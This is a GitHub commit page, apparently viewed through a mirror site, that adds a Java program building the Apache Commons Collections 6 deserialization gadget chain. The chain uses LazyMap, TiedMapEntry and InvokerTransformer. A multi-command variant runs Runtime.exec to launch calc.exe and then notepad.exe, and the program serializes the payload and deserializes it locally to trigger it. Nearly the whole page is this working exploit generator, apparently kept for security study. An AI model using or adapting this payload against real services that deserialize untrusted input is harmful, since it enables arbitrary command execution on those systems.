FazBrowse GitHub Viewer | Trending |
URL:
| Home
Tools: [Download Repo ZIP]   [Original HTTPS Page]

CommonsCollections6多命令 · httpsa/JavaThings@88f2d9d · GitHub

Repository navigation

Commit 88f2d9d

Browse files
committed
CommonsCollections6多命令
1 parent 7efdcdf commit 88f2d9d

1 file changed

Lines changed: 66 additions & 0 deletions

File tree

Lines changed: 66 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,66 @@
1+
package com.govuln.deserialization;
2+
3+
import org.apache.commons.collections.Transformer;
4+
import org.apache.commons.collections.functors.ChainedTransformer;
5+
import org.apache.commons.collections.functors.ConstantTransformer;
6+
import org.apache.commons.collections.functors.InvokerTransformer;
7+
import org.apache.commons.collections.keyvalue.TiedMapEntry;
8+
import org.apache.commons.collections.map.LazyMap;
9+
10+
import java.io.*;
11+
import java.lang.reflect.Field;
12+
import java.util.HashMap;
13+
import java.util.Map;
14+
15+
public class CommonsCollections6Multiple {
16+
public static void main(String[] args) throws Exception {
17+
Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
18+
Transformer[] transformers = new Transformer[] {
19+
new ConstantTransformer(Runtime.class),
20+
new InvokerTransformer("getMethod", new Class[] { String.class,
21+
Class[].class }, new Object[] { "getRuntime",
22+
new Class[0] }),
23+
new InvokerTransformer("invoke", new Class[] { Object.class,
24+
Object[].class }, new Object[] { null, new Object[0] }),
25+
new InvokerTransformer("exec", new Class[] { String.class },
26+
new String[] { "calc.exe" }),
27+
new ConstantTransformer(Runtime.class),
28+
new InvokerTransformer("getMethod", new Class[] { String.class,
29+
Class[].class }, new Object[] { "getRuntime",
30+
new Class[0] }),
31+
new InvokerTransformer("invoke", new Class[] { Object.class,
32+
Object[].class }, new Object[] { null, new Object[0] }),
33+
new InvokerTransformer("exec", new Class[] { String.class },
34+
new String[] { "notepad.exe" }),
35+
new ConstantTransformer(1),
36+
};
37+
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
38+
39+
// 不再使用原CommonsCollections6中的HashSet,直接使用HashMap
40+
Map innerMap = new HashMap();
41+
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
42+
43+
TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
44+
45+
Map expMap = new HashMap();
46+
expMap.put(tme, "valuevalue");
47+
48+
outerMap.remove("keykey");
49+
50+
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
51+
f.setAccessible(true);
52+
f.set(transformerChain, transformers);
53+
54+
// ==================
55+
// 生成序列化字符串
56+
ByteArrayOutputStream barr = new ByteArrayOutputStream();
57+
ObjectOutputStream oos = new ObjectOutputStream(barr);
58+
oos.writeObject(expMap);
59+
oos.close();
60+
61+
// 本地测试触发
62+
System.out.println(barr);
63+
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
64+
Object o = (Object)ois.readObject();
65+
}
66+
}

0 commit comments

Comments
 (0)

Back | FazBrowse Home | New Git URL